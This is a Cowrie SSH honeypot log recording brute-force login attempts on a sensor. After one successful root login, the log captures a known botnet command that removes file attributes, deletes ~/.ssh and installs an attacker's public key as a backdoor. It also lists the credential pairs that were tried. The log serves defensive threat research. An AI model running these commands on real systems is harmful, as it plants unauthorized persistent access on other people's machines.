{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:52:57.814817Z","src_ip":"2.57.122.96","session":"9e8e84148187","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"solana","message":"login attempt [ubuntu/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:52:58.306793Z","src_ip":"2.57.122.96","session":"9e8e84148187","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:52:59.415282Z","src_ip":"2.57.122.96","session":"9e8e84148187","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":43578,"dst_ip":"159.203.135.109","dst_port":22,"session":"abc885a5ce22","protocol":"ssh","message":"New connection: 2.57.122.96:43578 (159.203.135.109:22) [session: abc885a5ce22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:53:14.310285Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:53:14.313246Z","src_ip":"2.57.122.96","session":"abc885a5ce22","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:53:14.416179Z","src_ip":"2.57.122.96","session":"abc885a5ce22","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"solana","message":"login attempt [ubuntu/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:53:14.733485Z","src_ip":"2.57.122.96","session":"abc885a5ce22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:53:15.839695Z","src_ip":"2.57.122.96","session":"abc885a5ce22","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"4.211.84.189","src_port":38304,"dst_ip":"159.203.135.109","dst_port":22,"session":"6777c9e6e22f","protocol":"ssh","message":"New connection: 4.211.84.189:38304 (159.203.135.109:22) [session: 6777c9e6e22f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:53:47.696076Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:53:47.700651Z","src_ip":"4.211.84.189","session":"6777c9e6e22f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:53:47.793086Z","src_ip":"4.211.84.189","session":"6777c9e6e22f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"P4ssword2024","message":"login attempt [root/P4ssword2024] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:53:48.197302Z","src_ip":"4.211.84.189","session":"6777c9e6e22f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:53:48.418221Z","src_ip":"4.211.84.189","session":"6777c9e6e22f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:53:48.421322Z","src_ip":"4.211.84.189","session":"6777c9e6e22f","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:53:48.424999Z","src_ip":"4.211.84.189","session":"6777c9e6e22f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:53:48.521034Z","src_ip":"4.211.84.189","session":"6777c9e6e22f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:53:48.735128Z","src_ip":"4.211.84.189","session":"6777c9e6e22f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:53:48.738143Z","src_ip":"4.211.84.189","session":"6777c9e6e22f","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:53:48.835070Z","src_ip":"4.211.84.189","session":"6777c9e6e22f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:53:48.838406Z","src_ip":"4.211.84.189","session":"6777c9e6e22f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"4.211.84.189","src_port":38312,"dst_ip":"159.203.135.109","dst_port":22,"session":"f31a7bf7cd52","protocol":"ssh","message":"New connection: 4.211.84.189:38312 (159.203.135.109:22) [session: f31a7bf7cd52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:53:48.924333Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:53:48.928118Z","src_ip":"4.211.84.189","session":"f31a7bf7cd52","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:53:49.018917Z","src_ip":"4.211.84.189","session":"f31a7bf7cd52","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:53:49.416059Z","src_ip":"4.211.84.189","session":"f31a7bf7cd52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:53:50.509708Z","src_ip":"4.211.84.189","session":"f31a7bf7cd52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"4.211.84.189","src_port":38316,"dst_ip":"159.203.135.109","dst_port":22,"session":"6c1ee872c3c5","protocol":"ssh","message":"New connection: 4.211.84.189:38316 (159.203.135.109:22) [session: 6c1ee872c3c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:53:50.598474Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:53:50.605195Z","src_ip":"4.211.84.189","session":"6c1ee872c3c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:53:50.696393Z","src_ip":"4.211.84.189","session":"6c1ee872c3c5","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:53:51.093794Z","src_ip":"4.211.84.189","session":"6c1ee872c3c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:53:51.188196Z","src_ip":"4.211.84.189","session":"6777c9e6e22f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:53:51.192460Z","src_ip":"4.211.84.189","session":"6c1ee872c3c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":40400,"dst_ip":"10.17.0.5","dst_port":22,"session":"56802ea9d623","protocol":"ssh","message":"New connection: 2.57.122.96:40400 (10.17.0.5:22) [session: 56802ea9d623]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:55:54.244756Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:55:54.247959Z","src_ip":"2.57.122.96","session":"56802ea9d623","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:55:54.346908Z","src_ip":"2.57.122.96","session":"56802ea9d623","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"ubuntu","message":"login attempt [solana/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:55:54.645250Z","src_ip":"2.57.122.96","session":"56802ea9d623","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:55:55.747243Z","src_ip":"2.57.122.96","session":"56802ea9d623","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":46134,"dst_ip":"159.203.135.109","dst_port":22,"session":"fac9319a564a","protocol":"ssh","message":"New connection: 2.57.122.96:46134 (159.203.135.109:22) [session: fac9319a564a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:56:11.053319Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:56:11.061075Z","src_ip":"2.57.122.96","session":"fac9319a564a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:56:11.168886Z","src_ip":"2.57.122.96","session":"fac9319a564a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"ubuntu","message":"login attempt [solana/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:56:11.499908Z","src_ip":"2.57.122.96","session":"fac9319a564a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:56:12.607858Z","src_ip":"2.57.122.96","session":"fac9319a564a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":35362,"dst_ip":"10.17.0.5","dst_port":22,"session":"b9d72cea1206","protocol":"ssh","message":"New connection: 2.57.122.96:35362 (10.17.0.5:22) [session: b9d72cea1206]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:58:59.164574Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:58:59.168793Z","src_ip":"2.57.122.96","session":"b9d72cea1206","protocol":"ssh"}
